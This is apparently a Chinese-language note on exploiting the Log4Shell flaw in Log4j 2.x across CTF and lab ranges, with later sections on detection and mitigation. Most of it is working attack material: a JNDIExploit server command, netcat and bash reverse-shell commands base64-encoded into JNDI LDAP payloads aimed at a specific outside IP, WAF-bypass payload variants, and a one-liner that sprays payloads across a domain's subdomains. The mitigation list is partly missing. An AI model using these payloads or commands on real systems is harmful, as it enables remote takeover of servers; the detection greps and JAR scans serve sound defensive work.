0x01:影响版本
Apache Log4j 2.x < 2.15.0-rc2
0x02:Bugku环境
地址:https://ctf.bugku.com/challenges/detail/id/340.html
在用户名处插入dnslog
反弹shell
java -jar JNDIExploit-v1.11.jar -i 106.52.219.217
建立监听
nc -lvnp 12345
反弹shell的语句
nc 106.52.219.217 12345 -e /bin/sh
base64编码之后
bmMgMTA2LjUyLjIxOS4yMTcgMTIzNDUgLWUgL2Jpbi9zaA==
抓包user在user参数处发送payload
${jndi:ldap://x.x.x.x:1389/Basic/Command/Base64/命令的base64编码}
${jndi:ldap://106.52.219.217:1389/Basic/Command/Base64/bmMgMTA2LjUyLjIxOS4yMTcgMTIzNDUgLWUgL2Jpbi9zaA==}
0x03:掌控安全靶场环境
地址:https://hack.zkaq.cn/battle/target?id=5a768e0ca6938ffd
dnslog验证
${jndi:ldap://3y261l0gwnsb6dm6e82h1eeojfp6dv.burpcollaborator.net}
建立jndi监听
发送payload
${jndi:ldap://106.52.219.217:1389/odb2fr}
反弹shell
0x04:Vulfocus靶场
1. TomcatBypass/TomcatEcho
2. TomcatBypass/Command/Base64/
先base64编码,然后将里面的+号进行两次url编码(hackbar与bp需要)
payload=${jndi:ldap://106.52.219.217:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%252BJiAvZGV2L3RjcC8xMDYuNTIuMjE5LjIxNy8xMjM0NSAwPiYx}
0x05:CTFshow
插入
收到shell
0x06:Docker环境
docker创建环境命令:
docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker run -it -d -p 8080:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker exec -it log4j_vuln_container /bin/bash
/bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh
环境启动成功后,访问http://127.0.0.1/webstudy/hello-fengxuan,漏洞post参数为c。
不想搞了,看这个吧:https://www.codetd.com/en/article/13534228
0x07:绕过WAF
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
0x08:检测攻击行为
1、通过流量检测设备监控是否存在各种dnslog的访问请求
2、监测相关流量或者日志中是否存在“jndi:ldap://”、“jndi:rmi”等字符来发现可能的攻击行为。
0x09:相关的攻击和检测工具
1. Burp插件
1.1 BurpLog4j2Scan
https://github.com/tangxiaofeng7/BurpLog4j2Scan.git
1.2 Log4j2Scan
https://github.com/whwlsfb/Log4j2Scan
2. 批量
https://github.com/takito1812/log4j-detect
3. 应急检查
3.1 Linux
#这个命令搜索/var/log目录下未压缩的文件在文件夹和子文件夹存在的攻击日志
sudo egrep -I -i -r '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+' /var/log
此命令搜索文件夹/var/log和所有子文件夹中的压缩文件中的攻击日志
sudo find /var/log -name \*.gz -print0 | xargs -0 zgrep -E -i '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+'
#此命令搜索在下文中的用于waf绕过的使用的变量进行检查
sudo find /var/log/ -type f -exec sh -c "cat {} | sed -e 's/\${lower://'g | tr -d '}' | egrep -I -i 'jndi:(ldap[s]?|rmi|dns):'" \;
sudo find /var/log/ -type f -exec sh -c "cat {} | sed -e 's/\${lower://'g | tr -d '}' | egrep -i 'jndi:(ldap[s]?|rmi|dns):'" \;
#此命令搜索在/var/log压缩文件在文件夹和子文件夹的用于waf绕过的使用的变量进行检查
sudo find /var/log/ -name "*.log.gz" -type f -exec sh -c "zcat {} | sed -e 's/\${lower://'g | tr -d '}' | egrep -i 'jndi:(ldap[s]?|rmi|dns):'" \;
#添加 -I(大写 i)来忽略二进制文件进行检查
sudo egrep -I -i -r '${jndi:(ldap[s]?|rmi|dns):/[^\n]+' /var/log
3.2 Windows
gci 'C:\' -rec -force -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $_} | select -exp Path
3.3 国外安全研究检查技巧
根据我对 jdk11+ 服务的基本 PoC 和 ysoserial CommonsCollections5 负载的测试,成功利用后受害应用程序的日志输出不包含`${jdn:...}`. 取而代之的是`BadAttributeValueException: foo=1`.
正常请求
$ curl -H '<logged header>: normalheadercontent' http://localhost/some/endpoint/
输出日志:
<timestamp> DEBUG [some.service.package.SomeClass] - <function name> - request <logged header> header with value of normalheadercontent
成功请求 exploit:
$ curl -H '<logged header>: ${jndi:ldap://192.168.1.15:1337/e}' http://localhost/some/endpoint/
输出日志:
<timestamp> DEBUG [<some.service.package.SomeClass>] - <function name> - request <logged header> header with value of BadAttributeValueException: foo=1
3.4 容器
寻找Linux、Docker容器、Kubernetes Pods上的软件漏洞
find -name "*.jar" -exec sh -c 'unzip -l "{}" | grep -i --color=always JndiLookup.class' ; -print
find -name ".jar" -exec sh -c 'unzip -l "{}" | grep -i --color=always log4j-core-2..jar' ; -print
3.5 网站日志检测
地址:https://github.com/Neo23x0/log4shell-detector.git
3.6 一条命令检测(用于SRC挖掘)
subfinder -d example.com -silent |puredns resolve -q |httprobe | while read url; do case1=$(curl -s $url -H "X-Api-Version: ${jndi:ldap://Yourburpcolab/a}"); case2=$(curl -s "$url/?test=${jndi:ldap://Yourburpcolab/a}"); case3=$(curl -s $url -H "User-Agent: ${jndi:ldap://Yourburpcolab/a}"); echo -e "\033[43mDOMAIN => $url\033[0m]" "\n" " Case1=> X-Api-Version: running-Ldap-payload" "\n" " Case1=> Useragent: running-Ldap-payload" "\n" " Case1=> $url/?test=running-Ldap-payload" "\n";done
0x10:变式
v2版本
添加了绕过rc1的poc 也同时能绕过常见主流waf拦截,还有高版本jdk绕过
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
${${lower:jnd}${upper:i}: ${lower:ldap}://interactsh-url}
0x11:Payload生成工具
https://github.com/woodpecker-appstore/log4j-payload-generator
0x12:紧急补救
1、log4j 2.0-2.9.1版本可以
5、采用waf对请求流量中的${jndi进行拦截。
6、禁止不必要的业务访问外网。
7、配置网络防火墙,禁止 log4j2 组件所在服务器主动外连网络,包含不限于DNS、TCP/IP、ICMP。
0x13:参考连接
https://mp.weixin.qq.com/s/lhUB7EMC6tWEUR3TIYTc5A